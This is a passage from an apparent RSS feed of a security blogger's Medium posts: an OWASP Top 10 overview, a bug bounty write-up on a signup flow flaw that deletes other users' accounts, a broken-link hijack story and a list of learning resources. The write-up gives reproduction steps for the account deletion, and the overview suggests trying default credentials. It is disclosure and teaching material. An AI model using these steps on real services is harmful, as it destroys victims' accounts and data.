— Security Misconfiguration (The Silent Killer)</h3><p>Security misconfiguration happens when apps or infrastructure are set up incorrectly often due to overlooked defaults or poor maintenance.</p><p><strong>Examples</strong></p><ul><li>Default credentials still active</li><li>Missing security headers</li><li>Detailed error messages in production</li><li>Open directories or exposed .env / .git files</li><li>Outdated software versions</li></ul><p><strong>How to Check</strong></p><ul><li>Review error pages for stack traces</li><li>Try default credentials (admin:admin, root:root)</li><li>Check response headers</li><li>Test for open ports and directory listings</li></ul><h3>🧩 A03 — Software Supply Chain Failures (New &amp; Critical)</h3><p>This one’s a major expansion of the old “Vulnerable and Outdated Components” category.<br> Now it includes everything from compromised dependencies to tampered build pipelines.</p><p><strong>Real-world Examples</strong></p><ul><li>Malicious npm/PyPI packages sneaking into projects</li><li>Outdated third-party libraries with known exploits</li><li>Fake lookalike packages like react-dev-tools instead of react-devtools</li></ul><p><strong>Best Practices</strong></p><ul><li>Maintain a dependency inventory</li><li>Use scanners like npm audit, pip-audit, or <strong>Snyk</strong></li><li>Keep frameworks and libraries up to date</li><li>Verify package integrity before installation</li><li>Monitor for suspicious package behavior</li></ul><h3>⚠️ A10 — Mishandling of Exceptional Conditions (Brand New!)</h3><p>This new entry focuses on how systems respond when things go wrong.<br> Poor error handling can expose sensitive data or even create logic flaws that attackers exploit.</p><p><strong>Examples</strong></p><ul><li>Error messages revealing database names or file paths</li><li>Systems that “fail open” (e.g., auto-login after a timeout)</li><li>Payment systems processing failed transactions</li><li>Application crashes leaking memory info</li></ul><p><strong>How to Test</strong></p><ul><li>Input unexpected or malformed data</li><li>Observe how the system handles errors</li><li>Check if failures happen securely or reveal too much info</li><li>Review how exceptions and edge cases are handled in code</li></ul><h3>💡 Why These Updates Matter</h3><p>The OWASP Top 10 isn’t just a list it’s a mirror showing where real-world attacks are succeeding.</p><ul><li><strong>Categories that rise</strong> (like Security Misconfiguration) highlight growing global issues.</li><li><strong>New additions</strong> (like Software Supply Chain Failures) reflect how the threat landscape is evolving.</li><li><strong>As pentesters</strong>, it helps you focus your limited time on what matters most.</li></ul><p>Understanding these changes helps you stay one step ahead both in testing and in securing modern, complex applications.</p><h3>🎯 Final Thoughts</h3><p>That wraps up my overview of the <strong>OWASP Top 10 (2025)</strong>!<br> I wanted to keep it simple and focus more on what’s <em>new and changing</em> instead of rehashing what we already know.</p><p>If you’ve got additional insights, corrections, or cool examples, drop them in the comments I’d love to hear your take on this year’s update.</p><p>If this helped you understand the new OWASP direction better, a quick like or share would mean a lot 😊👍</p><p>Stay curious and secure,</p><blockquote>Connect with me here ✌</blockquote><ul><li>Instagram: <a href="https://www.instagram.com/cyberhead._">CyberHead._</a></li><li>Email: cyberhead.work@gmail.com</li><li>LinkedIn:<a href="https://www.linkedin.com/in/sanket-gadwe-259a8a267"> Sanket Gadwe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9bf279b4b28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Weird Signup Bug That Let Me Delete Anyone’s Account]]></title>
            <link>https://medium.com/@cyberhead/the-weird-signup-bug-that-let-me-delete-anyones-account-ce3945ed91af?source=rss-ab107a677142------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce3945ed91af</guid>
            <category><![CDATA[bug-bounty-reports]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[CyberHead]]></dc:creator>
            <pubDate>Mon, 22 Sep 2025 06:27:59 GMT</pubDate>
            <atom:updated>2025-09-24T07:15:44.373Z</atom:updated>
            <content:encoded><![CDATA[<h2>The Weird Signup Bug That Let Me Delete Anyone’s Account</h2><p>“A simple ‘Update Email’ option in the signup flow turned into a vulnerability that could wipe out any user’s account – along with their data and history.”</p><blockquote><strong>Introduction</strong></blockquote><p>I’m <em>Sanket Gadwe</em>, a Cybersecurity Consultant and Bug Bounty Hunter. 🕵️‍♂️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dVNyn3XadNZRC0LsO1F1sQ@2x.jpeg" /></figure><p>My daily work is about spotting those tiny mistakes in applications that most people overlook – because sometimes, those small cracks can bring down an entire wall.</p><p>Recently, I came across one such crack in the registration flow of a therapy platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*PuJs3opvesb9v-qPkhgm6Q@2x.jpeg" /></figure><p>What looked like a harmless “Update Email” button turned into a vulnerability that could let an attacker delete any user’s account permanently – along with their history, conversations, and active subscriptions.</p><p><em>Here’s how I stumbled on it.</em></p><blockquote><strong>🧐The Story – From Nothing to Something</strong></blockquote><p>I started my hunt as usual: register, explore, poke around. At first, nothing seemed wrong. No broken flows, no obvious misconfigurations.</p><p>Out of curiosity, I tried registering with an email that was already tied to an existing account. To my surprise, the system accepted it and sent a verification code to that email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*7pjomayopeoJiTfRssNViQ@2x.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*ywMfy-97IZuqDDG9FdGQeQ@2x.jpeg" /></figure><p>Of course, I didn’t have access to the victim’s inbox, so I couldn’t continue. But then I noticed something strange: right on the OTP verification page, there was an “Update Email” option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*c64nCaIrO8bWyPUfn-_4fQ@2x.jpeg" /></figure><p>I clicked it, entered my own email,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*5ImX_GVc0nrTNpzHTcPWeg@2x.jpeg" /></figure><p>received a new OTP, and completed registration. And just like that – the victim’s original account was gone. ⚠️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*KJQGo1eXVjuLlO0OSSMSmQ@2x.jpeg" /></figure><blockquote><strong>Steps to Reproduce</strong></blockquote><p><em>Responsible disclosure note: This is for educational and remediation purposes only.</em></p><p>1️⃣ Victim (User A) already has an account with victim@example.com.</p><p>2️⃣ Attacker (User B) starts a new registration with the same email victim@example.com.</p><p>3️⃣ System sends an OTP to the victim’s email.</p><p>4️⃣ Attacker clicks “Update Email” on the OTP page, changing it to attacker@example.com.</p><p>5️⃣ System sends a new OTP to the attacker’s email.</p><p>6️⃣ Attacker enters it and completes registration.</p><p>7️⃣ Result: The victim’s original account is deleted or inaccessible.</p><blockquote><strong>Impact</strong></blockquote><ul><li>❌ Victim permanently loses their account.</li><li>❌ All therapy history and private conversations are erased.</li><li>❌ Active subscriptions vanish without recovery.</li><li>❌ Users’ trust and privacy are heavily impacted.</li></ul><blockquote><strong>Root Cause</strong></blockquote><p>The registration flow allowed users to swap emails during verification without confirming the original owner – and it didn’t block duplicate account creation.</p><blockquote><strong>Remediation</strong></blockquote><ul><li>✅ Block account creation with emails that already exist.</li><li>✅ Require confirmation from both the old and new email addresses before any change.</li><li>✅ Ask for password/MFA re-authentication when updating sensitive fields.</li><li>✅ Replace permanent deletion with a soft-delete + recovery window.</li></ul><blockquote><strong>Final Thoughts</strong></blockquote><p>What started as a boring signup test turned into a bug that could erase entire accounts. This shows how small UX shortcuts can become security disasters.</p><p>For platforms dealing with sensitive personal data, these flows need stronger guardrails – because the cost of losing access isn’t just technical, it’s deeply human. 💡</p><p><em>Stay curious, stay safe, and always t hink like a hacker. 🕵️‍♂️</em>https://www.instagram.com/cyberhead._</p><blockquote>📫 Connect with me:</blockquote><ul><li>Instagram: <a href="https://www.instagram.com/cyberhead._">CyberHead._</a></li><li>Email: cyberhead.work@gmail.com</li><li>LinkedIn:<a href="https://www.linkedin.com/in/sanket-gadwe-259a8a267"> Sanket Gadwe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce3945ed91af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Got My First $250 Bug Bounty]]></title>
            <link>https://medium.com/@cyberhead/how-i-got-my-first-250-bug-bounty-63f500fb4bf8?source=rss-ab107a677142------2</link>
            <guid isPermaLink="false">https://medium.com/p/63f500fb4bf8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[CyberHead]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 05:20:11 GMT</pubDate>
            <atom:updated>2025-09-22T06:45:39.591Z</atom:updated>
            <content:encoded><![CDATA[<h2>😱How I Got My First $250 Bug Bounty🍾</h2><p>I still remember the day I received my very first bug bounty reward – $250. It wasn’t just about the money; it was about validation, the rush of discovering a real-world bug, and the happiness of finally proving to myself that I belonged in the world of bug bounty hunting.</p><p>This is the story of how I found a Broken Link Hijack on the LinkedIn page of <em>redacted.com</em> and how that small discovery changed my confidence as a bug hunter.</p><p><strong>The Early Days of Hunting😳</strong></p><p>When I started bug bounty hunting, I was filled with curiosity but also with a lot of self-doubt. Every day I read write-ups, watched YouTube videos, and scrolled through HackerOne or Bugcrowd reports, hoping to understand how hunters actually spot vulnerabilities in the wild.</p><p>But whenever I sat down to hunt, I felt overwhelmed. Big companies, complex applications, so many scopes – and here I was, just a beginner trying to figure out where to even start.</p><p>I told myself: “<em>Okay, don’t chase the most technical bug right now. Just keep your eyes open for small but impactful things.”</em></p><p><strong>THE DISCOVER 💡</strong></p><p>While exploring <em>redacted.com</em>, I scrolled down to the footer section and noticed a list of social media links. As usual, I clicked through them just to check if they were properly configured.</p><p>That’s when I saw something odd – their LinkedIn link was broken. Instead of pointing to their official LinkedIn company page, it redirected to a non-existent LinkedIn profile URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*LLI63dg49ebpyVSmYgSfNQ@2x.jpeg" /></figure><p><em>My mind instantly sparked: “Wait… if this page is not claimed, can I hijack it?” ☠️</em></p><p>I quickly checked LinkedIn and realized the URL was available for registration. That was the moment when the pieces connected – I claimed that URL, Now I could potentially impersonate <em>redacted.com</em> on LinkedIn.</p><p><strong>This could allow:</strong></p><p><em>•	Posting fake job listings.</em></p><p><em>•	Tricking users into sharing sensitive details.</em></p><p><em>•	Damaging the company’s reputation.</em></p><p>Even though it seemed like a “simple” bug, the impact was very real.</p><p><strong>Reporting the Bug 😵</strong></p><p>With excitement and shaky hands, I documented everything:</p><p>•	Screenshots of the broken link on redacted.com.</p><p>•	Proof that the LinkedIn vanity URL was unclaimed.</p><p>•	A clear explanation of the potential security impact.</p><p>I submitted the report to the program. And then… the waiting game began.</p><p>If you’ve ever hunted bugs, you know that feeling – constantly refreshing your inbox, hoping for a reply from the triage team.</p><p><strong>The Triage and The Reward🍾</strong></p><p>A few days later, I got the notification:</p><p>“Your report has been accepted and triaged.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*avYpZguyQFc1QUTefxddlQ@2x.jpeg" /></figure><p>I couldn’t believe it. My first real bug had been acknowledged. Not long after, the program rewarded me with $250.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*yDqBqfRiUnoR7X68AE7sKQ@2x.jpeg" /></figure><p>I was over the moon. The amount wasn’t huge compared to big bounties people post about, but for me, it was everything. It was proof that I could do this, that my effort mattered.</p><p><strong>The Takeaways 🧐</strong></p><p>That $250 reward taught me lessons far beyond the bug itself:</p><p>•	Start small: You don’t need to chase RCEs or zero-days to make an impact. Even “low-hanging” bugs like broken link hijacking can be valuable.</p><p>•	Think like an attacker: Always ask yourself, “What could go wrong if someone else abused this?”</p><p>•	Persistence pays off: Every little win adds to your confidence.</p><p>Getting my first bounty was not just about the money. It was about the validation, joy, and confidence that fueled me to continue hunting.</p><p>If you’re just starting out, don’t get discouraged. Keep learning, keep looking, and remember – your first bounty might be just one broken link away.</p><p>✍️ Thanks for reading my journey. If you’ve ever found your first bounty, I’d love to hear your story too – drop it in the comments!</p><p>📫Connect with me:</p><p>Instagram: <a href="https://www.instagram.com/cyberhead._?igsh=MXI3b2YwZDV4cDA1bQ%3D%3D&amp;utm_source=qr">cyberhead._</a></p><p>Email: cyberhead.work@gmail.com</p><p>LinkedIn: <a href="https://www.linkedin.com/in/sanket-gadwe-259a8a267?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=ios_app">SanketGadwe</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63f500fb4bf8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ The Ultimate FREE Resource Guide to Start Bug Bounty Hunting]]></title>
            <link>https://medium.com/@cyberhead/the-ultimate-free-resource-guide-to-start-bug-bounty-hunting-3a42211fe8eb?source=rss-ab107a677142------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a42211fe8eb</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bugbountybugbountyhunter]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-resource]]></category>
            <category><![CDATA[bug-bounty-reports]]></category>
            <dc:creator><![CDATA[CyberHead]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 21:31:28 GMT</pubDate>
            <atom:updated>2025-09-22T06:49:22.319Z</atom:updated>
            <content:encoded><![CDATA[<p>by CyberHead</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*dIaV_wsMme3werIn-bCBJg@2x.jpeg" /></figure><p><strong><em>Whether you’re just stepping into the world of bug bounty hunting or you’ve already dipped your toes in, having the right resources is the key to success. I’ve curated a complete, structured list of free learning platforms, tools, and labs to help you become a skilled hunter – without spending a single rupee.</em></strong></p><p><strong><em>Let’s break it down step-by-step. 🔍</em></strong></p><blockquote><strong>🐞 What is Bug Bounty?</strong></blockquote><p>Bug bounty is like getting paid to be a digital detective. You find security flaws in websites, apps, or systems, report them to the company, and get rewarded – both with cash and recognition. It helps companies stay safe and gives hackers a legal path to sharpen their skills.</p><blockquote><strong>🧱 Step 1: Understand Web Application Basics</strong></blockquote><p>Before finding bugs in a web app, you need to understand how it all works – like how your browser talks to a website or how domain names get resolved.</p><p>Learn from these awesome FREE resources:</p><ul><li>🌐 <a href="https://howdns.works/">How DNS Works (Animated explanation)</a></li><li>- 🧠 <a href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Getting_started/Web_standards/How_the_web_works">MDN’s Guide on How the Web Works</a></li><li>- 🎓 <a href="https://www.khanacademy.org/computing/computer-science/internet-intro">Internet 101 by Khan Academy</a></li></ul><blockquote><strong>🌐 Step 2: Learn Networking Fundamentals</strong></blockquote><p>Knowing how data travels across systems is a huge plus when you’re trying to identify vulnerabilities in communication.</p><p>Free Networking Resources:</p><ul><li>📺 YouTube: Search “Networking Cisco” or “Eli the Computer Guy”</li><li>📘<a href="https://skillsforall.com/course/networking-basics"> Cisco’s Free Networking Course</a></li><li>💻 <a href="https://learn.microsoft.com/en-us/training/paths/network-fundamentals/">Microsoft’s Networking Fundamentals</a></li><li>🧪 <a href="https://www.cybrary.it/course/network-fundamentals/">Cybrary’s Network Fundamentals Course</a></li><li>🔧 <a href="https://networkacademy.io/">Animated Networking Tutorials – NetworkAcademy.io</a></li></ul><blockquote><strong>💻 Step 3: Learn Programming (At Least Basics)</strong></blockquote><p>You don’t have to be a hardcore developer, but understanding scripts and code logic will give you an edge while testing applications.</p><p>Most useful languages:</p><ul><li>🐍 <a href="https://www.codecademy.com/learn/learn-python-3">Python – Learn Python 3 on Codecademy</a></li><li>🖥 <a href="https://www.learnshell.org/">Bash – Learn Shell on learnshell.org</a></li></ul><blockquote><strong>🐧 Step 4: Master Linux Basics</strong></blockquote><p>Most security tools run on Linux. If you’re serious about ethical hacking or bug bounty, get comfortable with the terminal.</p><ul><li>📗 <a href="https://tryhackme.com/module/linux-fundamentals-part-1">Linux Fundamentals – TryHackMe</a></li></ul><blockquote><strong>Step 5: Understand Cybersecurity &amp; Web Vulnerabilities</strong></blockquote><p>Knowing what to look for is essential. Focus on OWASP Top 10 vulnerabilities first (XSS, SQLi, IDOR, etc.).</p><p>Top FREE platforms to learn:</p><ul><li>🧪 <a href="https://portswigger.net/web-security">Web Security Academy – PortSwigger</a></li><li>🔍 <a href="https://www.intigriti.com/hackademy">Hackademy – Intigriti</a></li><li>🎯<a href="https://www.bugbountyhunter.com/"> BugBountyHunter – by zseano</a></li><li>🎥 Search “Bug Bounty by Ryan John” on YouTube</li></ul><blockquote><strong>🧪 Step 6: Practice Labs (Hands-On)</strong></blockquote><p>Practice is the bridge between theory and real bounties.</p><p>🔓 Online Labs:</p><ul><li><a href="https://www.hacker101.com/">Hacker101</a></li><li><a href="https://www.hackthissite.org/">HackThisSite</a></li><li><a href="https://www.ctfchallenge.com/">CTFChallenge</a></li><li><a href="https://www.hacksplaining.com/">Hacksplaining</a></li></ul><p>🧷 Downloadable Labs:</p><ul><li><a href="https://github.com/nahamsec">NahamSec Training GitHub</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop</a></li><li><a href="https://google-gruyere.appspot.com/">Google Gruyere</a></li><li><a href="https://github.com/digininja/DVWA">DVWA – Damn Vulnerable Web App</a></li></ul><blockquote><strong>📚 Step 7: Must-Read Books (Google PDFs or Amazon)</strong></blockquote><ul><li>Web Application Hacker’s Handbook</li><li>Web Hacking 101</li><li>Real-World Bug Hunting</li><li>The Bug Bounty Playbook</li><li>Mastering Modern Web Penetration Testing</li><li>OWASP Testing Guide</li></ul><blockquote><strong>📺 Step 8: YouTube Channels You Shouldn’t Miss</strong></blockquote><ul><li><a href="https://www.youtube.com/c/LiveOverflow">LiveOverflow</a></li><li><a href="https://www.youtube.com/c/IppSec">IppSec</a></li><li><a href="https://www.youtube.com/c/JohnHammond010">John Hammond</a></li><li><a href="https://www.youtube.com/c/TheCyberMentor">The Cyber Mentor</a></li><li><a href="https://www.youtube.com/user/Hak5Darren">Hak5</a></li><li><a href="https://www.youtube.com/c/HackerOneTV">HackerOne</a></li><li><a href="https://www.youtube.com/channel/UCUB9vOGEUpw7IKJRoR4PK-A">Murmus CTF</a></li><li><a href="https://www.youtube.com/c/Nahamsec">NahamSec</a></li><li><a href="https://www.youtube.com/c/hacksplained">Hacksplained</a></li><li><a href="https://www.youtube.com/c/STOKfredrik">STÖK</a></li></ul><blockquote><strong>📝 Step 9: Read Bug Reports &amp; Blogs</strong></blockquote><p>Real reports = real learning.</p><ul><li><a href="https://infosecwriteups.com/">Infosec Writeups</a></li><li><a href="https://hackerone.com/hacktivity">HackerOne Hacktivity</a></li><li><a href="https://bugcrowd.com/disclosures">Bugcrowd Crowdstream</a></li><li><a href="https://portswigger.net/daily-swig">The Daily Swig (Security News)</a></li></ul><blockquote><strong>🔥 Step 10: Bonus &amp; Advanced Resource Pack</strong></blockquote><p>These are like cheat codes for bug bounty learning. Bookmark them all:</p><ul><li><a href="https://gowsundar.gitbook.io/book-of-bugbounty-tips/">Book of Bug Bounty Tips by Gowsundar</a></li><li><a href="https://book.hacktricks.xyz/">HackTricks Book</a></li><li><a href="https://gowthams.gitbook.io/bughunter-handbook">BugHunter Handbook by Gowtham</a></li><li><a href="https://www.notion.so/4792d95add7d4ffd85dd50a5f50659c6?pvs=21">Web App Pentest Checklist – Notion</a></li><li><a href="https://dorks.faisalahmed.me/">Google Dorks Collection</a></li><li><a href="https://pentestbook.six2dez.com/">Six2dez PentestBook</a></li><li><a href="https://book.hacktricks.wiki/en/index.html">HackTricks Wiki Version</a></li></ul><blockquote><strong>🧠 Final Thoughts</strong></blockquote><p>Getting started in bug bounty doesn’t need to be expensive. With the right roadmap, free tools, and a pinch of consistency, you can land your first bounty in no time.</p><p>If you found this resource helpful, share it with your hacker friends. And if you want more guides like this, you know where to find me. 🔥</p><p>📬 Connect with me:</p><ul><li>📸 Instagram: <a href="https://www.instagram.com/cyberhead._?igsh=MXI3b2YwZDV4cDA1bQ%3D%3D&amp;utm_source=qr">@cyberhead._</a></li><li>📧 Email: cyberhead.work@gmail.com</li><li>💼 LinkedIn: <a href="https://www.linkedin.com/in/sanket-gadwe-259a8a267?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=ios_app">SanketGadwe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a42211fe8eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>